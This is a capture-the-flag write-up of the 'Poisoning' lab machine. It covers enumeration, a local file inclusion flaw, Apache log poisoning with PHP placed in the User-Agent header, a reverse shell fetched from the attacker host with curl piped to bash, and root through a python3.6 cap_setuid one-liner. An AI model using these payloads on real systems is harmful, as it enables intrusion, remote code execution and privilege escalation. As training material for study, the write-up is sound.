↓Skip to main content

[Write-Up] HackingClub: Poisoning

·17 mins
Linux HackingClub Easy LFI Log Poisoning RCE
Table of Contents

Recon #

Nmap #

Performing a Nmap on the 1000 most common ports we find a SSH server and a HTTP server, both running on default ports, like shown on the scan below:

┌──(kali㉿kali)-[~/Machines/HC-Poisoning]
└─$ nmap -sV poisoning.hc 
Starting Nmap 7.99 ( https://nmap.org ) at 2026-09-17 18:33 -0400
Nmap scan report for poisoning.hc (172.16.12.7)
Host is up (0.16s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 16.39 seconds

Enumeration #

Fuzzing HTTP #

┌──(kali㉿kali)-[~/Machines/HC-Poisoning]
└─$ ffuf -u "http://poisoning.hc/FUZZ" -w /usr/share/wordlists/dirb/small.txt 

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://poisoning.hc/FUZZ
 :: Wordlist         : FUZZ: /usr/share/wordlists/dirb/small.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________

images                  [Status: 301, Size: 313, Words: 20, Lines: 10, Duration: 159ms]
:: Progress: [959/959] :: Job [1/1] :: 269 req/sec :: Duration: [0:00:07] :: Errors: 0 ::

┌──(kali㉿kali)-[~/Machines/HC-Poisoning]
└─$ ffuf -u "http://poisoning.hc/FUZZ" -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt 

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://poisoning.hc/FUZZ
 :: Wordlist         : FUZZ: /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________

# directory-list-2.3-small.txt [Status: 200, Size: 39277, Words: 5559, Lines: 340, Duration: 156ms]
# Copyright 2007 James Fisher [Status: 200, Size: 39277, Words: 5559, Lines: 340, Duration: 161ms]
# Suite 300, San Francisco, California, 94105, USA. [Status: 200, Size: 39277, Words: 5559, Lines: 340, Duration: 164ms]
# or send a letter to Creative Commons, 171 Second Street,  [Status: 200, Size: 39277, Words: 5559, Lines: 340, Duration: 169ms]
# license, visit http://creativecommons.org/licenses/by-sa/3.0/  [Status: 200, Size: 39277, Words: 5559, Lines: 340, Duration: 169ms]
#                       [Status: 200, Size: 39277, Words: 5559, Lines: 340, Duration: 170ms]
#                       [Status: 200, Size: 39277, Words: 5559, Lines: 340, Duration: 170ms]
images                  [Status: 301, Size: 313, Words: 20, Lines: 10, Duration: 169ms]
# This work is licensed under the Creative Commons  [Status: 200, Size: 39277, Words: 5559, Lines: 340, Duration: 177ms]
# Priority ordered case sensative list, where entries were found  [Status: 200, Size: 39277, Words: 5559, Lines: 340, Duration: 171ms]
                        [Status: 200, Size: 39277, Words: 5559, Lines: 340, Duration: 172ms]
# on atleast 3 different hosts [Status: 200, Size: 39277, Words: 5559, Lines: 340, Duration: 172ms]

┌──(kali㉿kali)-[~/Machines/HC-Poisoning]
└─$ ffuf -u "http://poisoning.hc/?FUZZ=page.php" -w /usr/share/wordlists/dirb/small.txt -fs 39277

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://poisoning.hc/?FUZZ=page.php
 :: Wordlist         : FUZZ: /usr/share/wordlists/dirb/small.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response size: 39277
________________________________________________

page                    [Status: 200, Size: 78428, Words: 11082, Lines: 677, Duration: 173ms]
:: Progress: [959/959] :: Job [1/1] :: 222 req/sec :: Duration: [0:00:06] :: Errors: 0 ::

Vulnerabilities #

Local File Injection #

We have found a hidden paramater page, that parameter seems to inject a local file to be interpreted inside the page.

We can find the system we are using by looking into the os-release file:

curl http://poisoning.hc/?page=/etc/os-release
 NAME="Ubuntu" VERSION="18.04.5 LTS (Bionic Beaver)" ID=ubuntu ID_LIKE=debian PRETTY_NAME="Ubuntu 18.04.5 LTS" VERSION_ID="18.04" HOME_URL="https://www.ubuntu.com/" SUPPORT_URL="https://help.ubuntu.com/" BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/" PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy" VERSION_CODENAME=bionic UBUNTU_CODENAME=bionic

Now we can lookup the default location for Apache logs under Ubuntu, plus a list of common file locations.

┌──(kali㉿kali)-[~/Machines/HC-Poisoning]
└─$ ffuf -u "http://poisoning.hc/?page=FUZZ" -w common-unix-httpd-log-locations.txt

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://poisoning.hc/?page=FUZZ
 :: Wordlist         : FUZZ: /home/kali/Machines/HC-Poisoning/common-unix-httpd-log-locations.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________

/var/log/apache2/access.log [Status: 200, Size: 39271, Words: 5559, Lines: 341, Duration: 162ms]
/httpd/logs/error.log   [Status: 200, Size: 39298, Words: 5559, Lines: 340, Duration: 161ms]
/access_log             [Status: 200, Size: 39288, Words: 5559, Lines: 340, Duration: 316ms]
/httpd/logs/access_log  [Status: 200, Size: 39299, Words: 5559, Lines: 340, Duration: 316ms]
/httpd/logs/access.log  [Status: 200, Size: 39299, Words: 5559, Lines: 340, Duration: 317ms]
/httpd/logs/error_log   [Status: 200, Size: 39298, Words: 5559, Lines: 340, Duration: 166ms]
/logs/access.log        [Status: 200, Size: 39293, Words: 5559, Lines: 340, Duration: 165ms]
/apache/logs/error.log  [Status: 200, Size: 39299, Words: 5559, Lines: 340, Duration: 490ms]
/var/log/apache2/error.log [Status: 200, Size: 373229, Words: 48051, Lines: 2465, Duration: 167ms]
/apache/logs/error_log  [Status: 200, Size: 39299, Words: 5559, Lines: 340, Duration: 1029ms]
/apache/logs/access.log [Status: 200, Size: 39300, Words: 5559, Lines: 340, Duration: 1329ms]
/logs/error.log         [Status: 200, Size: 39292, Words: 5559, Lines: 340, Duration: 1452ms]
/apache/logs/access_log [Status: 200, Size: 39300, Words: 5559, Lines: 340, Duration: 1761ms]
/logs/access.log        [Status: 200, Size: 39293, Words: 5559, Lines: 340, Duration: 1453ms]
/logs/error_log         [Status: 200, Size: 39292, Words: 5559, Lines: 340, Duration: 1854ms]
:: Progress: [45/45] :: Job [1/1] :: 22 req/sec :: Duration: [0:00:02] :: Errors: 0 ::

By looking into /var/log/apache2/access.log, we find out that we can see all the access log on the Apache server for that machine.

Exploitation #

Log Poisoning #

Since that is inserted through that param is interpreted by PHP, we can perform log poisoning, the simplest proof of concept would be sending:

┌──(kali㉿kali)-[~/Machines/HC-Poisoning]
└─$ curl "http://poisoning.hc" -A "<?php system('ls'); ?>"

We can get the first flag with the following requests:

┌──(kali㉿kali)-[~/Machines/HC-Poisoning]
└─$ curl "http://poisoning.hc" -A "<?php system('ls /'); ?>"
┌──(kali㉿kali)-[~/Machines/HC-Poisoning]
└─$ curl http://poisoning.hc/?page=/var/log/apache2/access.log | grep Technology -A10
  % Total    % Received % Xferd  Average Speed  Time    Time    Time   Current
                                 Dload  Upload  Total   Spent   Left   Speed
  0      0   0      0   0      0      0      0           00:02              0                    <h1 class="u-text u-title u-text-2">Technology Revolution</h1>
                    <p class="u-large-text u-text u-text-variant u-text-3"></p>
                    <b>
                     
10.0.9.28 - - [17/Sep/2026:23:16:10 +0000] "GET / HTTP/1.1" 200 39469 "-" "bin
boot
dev
etc
fl4g.txt
home
initrd.img
┌──(kali㉿kali)-[~/Machines/HC-Poisoning]
└─$ curl "http://poisoning.hc" -A "<?php system('cat /fl4g.txt'); ?>"
┌──(kali㉿kali)-[~/Machines/HC-Poisoning]
└─$ curl http://poisoning.hc/?page=/var/log/apache2/access.log | grep CS{            
  % Total    % Received % Xferd  Average Speed  Time    Time    Time   Current
                                 Dload  Upload  Total   Spent   Left   Speed
  0      0   0      0   0      0      0      0                              010.0.9.28 - - [17/Sep/2026:23:17:07 +0000] "GET / HTTP/1.1" 200 39469 "-" "CS{REDACTED}

Log Poisoning - Reverse Shell #

Since we have netcat on the target machine, we can get a shell by running:

┌──(kali㉿kali)-[~/Machines/HC-Poisoning]
└─$ curl "http://poisoning.hc" -A "<?php system('which nc'); ?>"  
# Confirms we have nc
┌──(kali㉿kali)-[~/Machines/HC-Poisoning]
└─$ curl "http://poisoning.hc" -A "<?php system('nc 10.0.9.28 4444'); ?>"  
# Get reverse shell

Remembering that after each payload run, we must also send a request with parameter page and for the argument the path to Apache access log. On attacking machine we send:

┌──(kali㉿kali)-[~/Machines/HC-Poisoning]
└─$ curl "http://poisoning.hc" -A "<?php system('curl http://10.0.9.28:8000/php-reverse-shell.php | bash -c php'); ?>"

Where php-reverse-shell.php is a PHP reverse shell from PentestMonkey. On our Netcat shell we get:

┌──(kali㉿kali)-[~/Machines/HC-Poisoning]
└─$ nc -lnvp 4444
listening on [any] 4444 ...
connect to [10.0.9.28] from (UNKNOWN) [172.16.10.125] 55266
Linux ip-172-16-10-125 5.4.0-1056-aws #59~18.04.1-Ubuntu SMP Mon Aug 23 23:07:49 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux
 19:01:39 up 10 min,  0 users,  load average: 0.06, 0.44, 0.35
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data),4(adm)
/bin/sh: 0: can't access tty; job control turned off
$

Privilege Escalation #

Now we get a shell on www-data user. We run our recon script:

www-data@ip-172-16-10-125:/$ curl http://10.0.9.28:8000/linrecon.sh | bash
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100  1283  100  1283    0     0   3784      0 --:--:-- --:--:-- --:--:--  3795
[+] Current user: www-data
    User id: uid=33(www-data) gid=33(www-data) groups=33(www-data),4(adm)
    User groups: www-data adm
[+] Passwordless sudo commands: 
sudo: a password is required
[+] User history:

[+] Loading /etc/passwd content
[+] Login users:
root
sync
ubuntu
Home (/root) for root
ls: cannot open directory '/root': Permission denied
Home (/bin) for sync
total 15M
-rwxr-xr-x  1 root root   89 Apr 26  2016 red
-rwxr-xr-x  1 root root  51K Apr 26  2016 ed
-rwxr-xr-x  1 root root  14K Aug 11  2016 ulockmgr_server
-rwsr-xr-x  1 root root  31K Aug 11  2016 fusermount
-rwxr-xr-x  1 root root 151K Jan 10  2017 netstat
-rwxr-xr-x  1 root root  35K Apr 21  2017 setfacl
-rwxr-xr-x  1 root root  23K Apr 21  2017 getfacl
-rwxr-xr-x  1 root root  14K Apr 21  2017 chacl
-rwxr-xr-x  1 root root 5.0K Apr 28  2017 znew
-rwxr-xr-x  1 root root 1.9K Apr 28  2017 zmore
-rwxr-xr-x  1 root root 2.0K Apr 28  2017 zless
-rwxr-xr-x  1 root root 5.8K Apr 28  2017 zgrep
-rwxr-xr-x  1 root root 2.1K Apr 28  2017 zforce
-rwxr-xr-x  1 root root  140 Apr 28  2017 zfgrep
-rwxr-xr-x  1 root root  140 Apr 28  2017 zegrep
-rwxr-xr-x  1 root root 5.7K Apr 28  2017 zdiff
-rwxr-xr-x  1 root root 1.8K Apr 28  2017 zcmp
-rwxr-xr-x  1 root root 1.9K Apr 28  2017 zcat
-rwxr-xr-x  2 root root 2.3K Apr 28  2017 uncompress
-rwxr-xr-x  1 root root 100K Apr 28  2017 gzip
-rwxr-xr-x  1 root root 5.8K Apr 28  2017 gzexe
-rwxr-xr-x  2 root root 2.3K Apr 28  2017 gunzip
lrwxrwxrwx  1 root root   14 Nov  1  2017 pidof -> /sbin/killall5
-rwxr-xr-x  1 root root 8.4K Dec  1  2017 lesspipe
-rwxr-xr-x  1 root root  20K Dec  1  2017 lesskey
lrwxrwxrwx  1 root root    8 Dec  1  2017 lessfile -> lesspipe
-rwxr-xr-x  1 root root  11K Dec  1  2017 lessecho
-rwxr-xr-x  1 root root 167K Dec  1  2017 less
-rwxr-xr-x  1 root root  946 Dec 30  2017 which
-rwxr-xr-x  1 root root 9.9K Dec 30  2017 tempfile
-rwxr-xr-x  1 root root  19K Dec 30  2017 run-parts
-rwxr-xr-x  1 root root  27K Jan 12  2018 whiptail
-rwxr-xr-x  1 root root 131K Jan 18  2018 vdir
-rwxr-xr-x  1 root root  35K Jan 18  2018 uname
-rwxr-xr-x  1 root root  31K Jan 18  2018 true
-rwxr-xr-x  1 root root  87K Jan 18  2018 touch
-rwxr-xr-x  1 root root  35K Jan 18  2018 sync
-rwxr-xr-x  1 root root  75K Jan 18  2018 stty
-rwxr-xr-x  1 root root  35K Jan 18  2018 sleep
-rwxr-xr-x  1 root root  43K Jan 18  2018 rmdir
-rwxr-xr-x  1 root root  63K Jan 18  2018 rm
-rwxr-xr-x  1 root root  43K Jan 18  2018 readlink
-rwxr-xr-x  1 root root  35K Jan 18  2018 pwd
-rwxr-xr-x  1 root root 135K Jan 18  2018 mv
-rwxr-xr-x  1 root root  43K Jan 18  2018 mktemp
-rwxr-xr-x  1 root root  67K Jan 18  2018 mknod
-rwxr-xr-x  1 root root  79K Jan 18  2018 mkdir
-rwxr-xr-x  1 root root 131K Jan 18  2018 ls
-rwxr-xr-x  1 root root  67K Jan 18  2018 ln
-rwxr-xr-x  1 root root  31K Jan 18  2018 false
-rwxr-xr-x  1 root root  35K Jan 18  2018 echo
-rwxr-xr-x  1 root root 131K Jan 18  2018 dir
-rwxr-xr-x  1 root root  83K Jan 18  2018 df
-rwxr-xr-x  1 root root  75K Jan 18  2018 dd
-rwxr-xr-x  1 root root  99K Jan 18  2018 date
-rwxr-xr-x  1 root root 139K Jan 18  2018 cp
-rwxr-xr-x  1 root root  67K Jan 18  2018 chown
-rwxr-xr-x  1 root root  59K Jan 18  2018 chmod
-rwxr-xr-x  1 root root  63K Jan 18  2018 chgrp
-rwxr-xr-x  1 root root  35K Jan 18  2018 cat
-rwxr-xr-x  1 root root 2.7K Jan 22  2018 unicode_start
-rwxr-xr-x  1 root root  43K Jan 22  2018 setfont
-rwxr-xr-x  1 root root  19K Jan 22  2018 openvt
lrwxrwxrwx  1 root root    6 Jan 22  2018 open -> openvt
-rwxr-xr-x  1 root root 207K Jan 22  2018 loadkeys
-rwxr-xr-x  1 root root  11K Jan 22  2018 kbd_mode
-rwxr-xr-x  1 root root  11K Jan 22  2018 fgconsole
-rwxr-xr-x  1 root root 167K Jan 22  2018 dumpkeys
-rwxr-xr-x  1 root root  11K Jan 22  2018 chvt
lrwxrwxrwx  1 root root    4 Jan 25  2018 sh.distrib -> dash
-rwxr-xr-x  1 root root 119K Jan 25  2018 dash
-rwxr-xr-x  1 root root 107K Jan 30  2018 sed
lrwxrwxrwx  1 root root    8 Jan 31  2018 ypdomainname -> hostname
lrwxrwxrwx  1 root root    8 Jan 31  2018 nisdomainname -> hostname
-rwxr-xr-x  1 root root  19K Jan 31  2018 hostname
lrwxrwxrwx  1 root root    8 Jan 31  2018 domainname -> hostname
lrwxrwxrwx  1 root root    8 Jan 31  2018 dnsdomainname -> hostname
lrwxrwxrwx  1 root root    4 Mar  6  2018 rnano -> nano
-rwxr-xr-x  1 root root 241K Mar  6  2018 nano
-rwxr-xr-x  1 root root 388K Mar 12  2018 mkfs.btrfs
-rwxr-xr-x  1 root root 1.2K Mar 12  2018 fsck.btrfs
-rwxr-xr-x  1 root root 368K Mar 12  2018 btrfstune
lrwxrwxrwx  1 root root    5 Mar 12  2018 btrfsck -> btrfs
-rwxr-xr-x  1 root root 364K Mar 12  2018 btrfs-zero-log
-rwxr-xr-x  1 root root 364K Mar 12  2018 btrfs-select-super
-rwxr-xr-x  1 root root 368K Mar 12  2018 btrfs-map-logical
-rwxr-xr-x  1 root root 388K Mar 12  2018 btrfs-image
-rwxr-xr-x  1 root root 364K Mar 12  2018 btrfs-find-root
-rwxr-xr-x  1 root root 368K Mar 12  2018 btrfs-debug-tree
-rwxr-xr-x  1 root root 700K Mar 12  2018 btrfs
-rwxr-xr-x  1 root root  35K May 14  2018 nc.openbsd
-rwxr-xr-x  1 root root  36K Dec 11  2018 fuser
-rwsr-xr-x  1 root root  44K Mar 22  2019 su
-rwxr-xr-x  1 root root  52K Mar 22  2019 login
-rwxr-xr-x  1 root root  38K Apr  4  2019 plymouth
-rwxr-xr-x  1 root root  39K Apr 23  2019 setupcon
lrwxrwxrwx  1 root root    4 Jun  6  2019 rbash -> bash
-rwxr-xr-x  1 root root 1.1M Jun  6  2019 bash
lrwxrwxrwx  1 root root    4 Jun 28  2019 ping6 -> ping
lrwxrwxrwx  1 root root    4 Jun 28  2019 ping4 -> ping
-rwsr-xr-x  1 root root  63K Jun 28  2019 ping
-rwxr-xr-x  1 root root 1.3K Jul  4  2019 bzmore
lrwxrwxrwx  1 root root    6 Jul  4  2019 bzless -> bzmore
-rwxr-xr-x  1 root root  14K Jul  4  2019 bzip2recover
-rwxr-xr-x  3 root root  35K Jul  4  2019 bzip2
-rwxr-xr-x  1 root root 3.6K Jul  4  2019 bzgrep
lrwxrwxrwx  1 root root    6 Jul  4  2019 bzfgrep -> bzgrep
-rwxr-xr-x  1 root root 4.8K Jul  4  2019 bzexe
lrwxrwxrwx  1 root root    6 Jul  4  2019 bzegrep -> bzgrep
-rwxr-xr-x  1 root root 2.1K Jul  4  2019 bzdiff
lrwxrwxrwx  1 root root    6 Jul  4  2019 bzcmp -> bzdiff
-rwxr-xr-x  3 root root  35K Jul  4  2019 bzcat
-rwxr-xr-x  3 root root  35K Jul  4  2019 bunzip2
-rwxr-xr-x  1 root root 131K Aug  9  2019 ps
-rwxr-xr-x  1 root root  27K Aug  9  2019 kill
-rwxr-xr-x  1 root root 215K Sep 18  2019 grep
-rwxr-xr-x  1 root root   28 Sep 18  2019 fgrep
-rwxr-xr-x  1 root root   28 Sep 18  2019 egrep
lrwxrwxrwx  1 root root    4 Jul 28  2020 lsmod -> kmod
-rwxr-xr-x  1 root root 147K Jul 28  2020 kmod
-rwxr-xr-x  1 root root  31K Sep 16  2020 wdctl
-rwsr-xr-x  1 root root  27K Sep 16  2020 umount
-rwxr-xr-x  1 root root  15K Sep 16  2020 mountpoint
-rwsr-xr-x  1 root root  43K Sep 16  2020 mount
-rwxr-xr-x  1 root root  39K Sep 16  2020 more
-rwxr-xr-x  1 root root  83K Sep 16  2020 lsblk
-rwxr-xr-x  1 root root  64K Sep 16  2020 findmnt
-rwxr-xr-x  1 root root  71K Sep 16  2020 dmesg
lrwxrwxrwx  1 root root    7 Sep 18  2020 static-sh -> busybox
-rwxr-xr-x  1 root root 2.0M Sep 18  2020 busybox
-rwxr-xr-x  1 root root 414K Dec 16  2020 tar
-rwxr-xr-x  1 root root 137K Jan 26  2021 ss
-rwxr-xr-x  1 root root 546K Jan 26  2021 ip
lrwxrwxrwx  1 root root    4 Apr 16  2021 sh -> dash
lrwxrwxrwx  1 root root   20 Apr 16  2021 mt -> /etc/alternatives/mt
lrwxrwxrwx  1 root root   24 Apr 16  2021 netcat -> /etc/alternatives/netcat
lrwxrwxrwx  1 root root   20 Apr 16  2021 nc -> /etc/alternatives/nc
-rwxr-xr-x  1 root root 571K Jul 21  2021 udevadm
-rwxr-xr-x  1 root root  27K Jul 21  2021 systemd-tty-ask-password-agent
-rwxr-xr-x  1 root root  71K Jul 21  2021 systemd-tmpfiles
-rwxr-xr-x  1 root root  43K Jul 21  2021 systemd-sysusers
-rwxr-xr-x  1 root root  15K Jul 21  2021 systemd-notify
-rwxr-xr-x  1 root root  19K Jul 21  2021 systemd-machine-id-setup
-rwxr-xr-x  1 root root  15K Jul 21  2021 systemd-inhibit
-rwxr-xr-x  1 root root  83K Jul 21  2021 systemd-hwdb
-rwxr-xr-x  1 root root  15K Jul 21  2021 systemd-escape
-rwxr-xr-x  1 root root  11K Jul 21  2021 systemd-ask-password
lrwxrwxrwx  1 root root   20 Jul 21  2021 systemd -> /lib/systemd/systemd
-rwxr-xr-x  1 root root 179K Jul 21  2021 systemctl
-rwxr-xr-x  1 root root  43K Jul 21  2021 networkctl
-rwxr-xr-x  1 root root  51K Jul 21  2021 loginctl
-rwxr-xr-x  1 root root  63K Jul 21  2021 journalctl
-rwxr-xr-x  1 root root  47K Aug 23  2021 ntfswipe
-rwxr-xr-x  1 root root  31K Aug 23  2021 ntfsusermap
-rwxr-xr-x  1 root root  39K Aug 23  2021 ntfstruncate
-rwxr-xr-x  1 root root  87K Aug 23  2021 ntfssecaudit
-rwxr-xr-x  1 root root 115K Aug 23  2021 ntfsrecover
-rwxr-xr-x  1 root root  31K Aug 23  2021 ntfsmove
-rwxr-xr-x  1 root root  32K Aug 23  2021 ntfsls
-rwxr-xr-x  1 root root  55K Aug 23  2021 ntfsinfo
-rwxr-xr-x  1 root root  43K Aug 23  2021 ntfsfix
-rwxr-xr-x  1 root root  35K Aug 23  2021 ntfsfallocate
-rwxr-xr-x  1 root root  35K Aug 23  2021 ntfscmp
-rwxr-xr-x  1 root root  35K Aug 23  2021 ntfscluster
-rwxr-xr-x  1 root root  27K Aug 23  2021 ntfscat
-rwxr-xr-x  1 root root  11K Aug 23  2021 ntfs-3g.probe
-rwxr-xr-x  1 root root 143K Aug 23  2021 ntfs-3g
-rwxr-xr-x  1 root root 107K Aug 23  2021 lowntfs-3g
-rwxr-xr-x  1 root root  79K Aug 25  2021 mt-gnu
-rwxr-xr-x  1 root root 154K Aug 25  2021 cpio
drwxr-xr-x  2 root root 4.0K Sep 16  2021 .
drwxr-xr-x 23 root root 4.0K Sep 20 18:51 ..
Home (/home/ubuntu) for ubuntu
total 40K
-rw-r--r-- 1 ubuntu ubuntu  807 Apr  4  2018 .profile
-rw-r--r-- 1 ubuntu ubuntu 3.7K Apr  4  2018 .bashrc
-rw-r--r-- 1 ubuntu ubuntu  220 Apr  4  2018 .bash_logout
drwxr-xr-x 3 root   root   4.0K Sep 15  2021 ..
drwx------ 2 ubuntu ubuntu 4.0K Sep 15  2021 .ssh
drwx------ 3 ubuntu ubuntu 4.0K Sep 15  2021 .gnupg
drwx------ 2 ubuntu ubuntu 4.0K Sep 15  2021 .cache
-rw-r--r-- 1 ubuntu ubuntu    0 Sep 15  2021 .sudo_as_admin_successful
drwxrwxr-x 3 ubuntu ubuntu 4.0K Sep 15  2021 .local
drwxr-xr-x 6 ubuntu ubuntu 4.0K Sep 15  2021 .
-rw------- 1 ubuntu ubuntu  280 Jan 26  2022 .bash_history

=== SYSTEM INFORMATION ===
[+] Hostname: 172.16.10.125 
[+] Kernel Version: Linux version 5.4.0-1056-aws (buildd@lcy01-amd64-004) (gcc version 7.5.0 (Ubuntu 7.5.0-3ubuntu1~18.04)) #59~18.04.1-Ubuntu SMP Mon Aug 23 23:07:49 UTC 2021
[+] Linux Distro: Ubuntu 18.04.5 LTS \n \l
---------
=== MACHINE STATE ===
[+] Running proccess
[+] Environment variables
APACHE_LOG_DIR=/var/log/apache2
LANG=C
INVOCATION_ID=bf3969888f1944efa84e2460ba651e4b
APACHE_LOCK_DIR=/var/lock/apache2
PWD=/
JOURNAL_STREAM=9:18896
APACHE_RUN_GROUP=www-data
APACHE_RUN_DIR=/var/run/apache2
APACHE_RUN_USER=www-data
TERM=xterm-256color
APACHE_PID_FILE=/var/run/apache2/apache2.pid
SHLVL=3
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin
_=/usr/bin/env
[+] Network state of the machine
(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -                   
tcp        0      1 172.16.10.125:43264     10.0.9.28:8000          LAST_ACK    -                   
tcp        0      1 172.16.10.125:60946     185.125.188.58:443      SYN_SENT    -                   
tcp        0      1 172.16.10.125:60936     185.125.188.58:443      SYN_SENT    -                   
tcp        0  11029 172.16.10.125:55266     10.0.9.28:4444          ESTABLISHED 1807/php            
tcp        0      1 172.16.10.125:54942     185.125.188.57:443      SYN_SENT    -                   
tcp        0      1 172.16.10.125:60938     185.125.188.58:443      SYN_SENT    -                   
tcp        0      1 172.16.10.125:51568     44.216.184.189:443      SYN_SENT    -                   
tcp6       0      0 :::80                   :::*                    LISTEN      -                   
tcp6       0      0 :::22                   :::*                    LISTEN      -                   
tcp6       0      0 172.16.10.125:80        10.0.9.28:51064         ESTABLISHED -                   
[+] Bash sensitive files
/snap/core18/2253/etc/skel/.bash_logout
/snap/core18/2253/etc/skel/.bashrc
/snap/core18/2790/etc/skel/.bash_logout
/snap/core18/2790/etc/skel/.bashrc
/snap/core22/2411/etc/skel/.bash_logout
/snap/core22/2411/etc/skel/.bashrc
/home/ubuntu/.bash_logout
/home/ubuntu/.bashrc
/home/ubuntu/.bash_history
/etc/skel/.bash_logout
/etc/skel/.bashrc
[+] 0777 files
/var/log/apache2/error.log
/var/log/apache2/access.log
[+] SUID files
[+] Files changed recently
[+] Files with capabilities
/snap/core22/2411/usr/bin/ping = cap_net_raw+ep
/usr/bin/python3.6 = cap_setuid+ep
/usr/bin/mtr-packet = cap_net_raw+ep
/usr/bin/python3.6m = cap_setuid+ep
[+] Cron jobs
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.

SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# m h dom mon dow user  command
17 *    * * *   root    cd / && run-parts --report /etc/cron.hourly
25 6    * * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6    * * 7   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6    1 * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
#

Some interesting things we notice:

  • www-data is part of adm group
  • some bash ubuntu files are readable
  • /usr/bin/python3.6 has cap_setuid

If we have a scripting language with setuid capabilities that is probably a path to root, we run the payload below:

www-data@ip-172-16-10-125:/$ python3.6 -c 'import os; os.setuid(0); os.execl("/bin/sh", "sh")'
# whoami
root
# bash
root@ip-172-16-10-125:/# ls /root
root.txt  snap
root@ip-172-16-10-125:/# cat /root/root.txt 
CS{REDACTED}

Flags #

  • User (Log Poisoning RCE): CS{REDACTED}
  • Root (python3.6 cap_setuid escape): CS{REDACTED}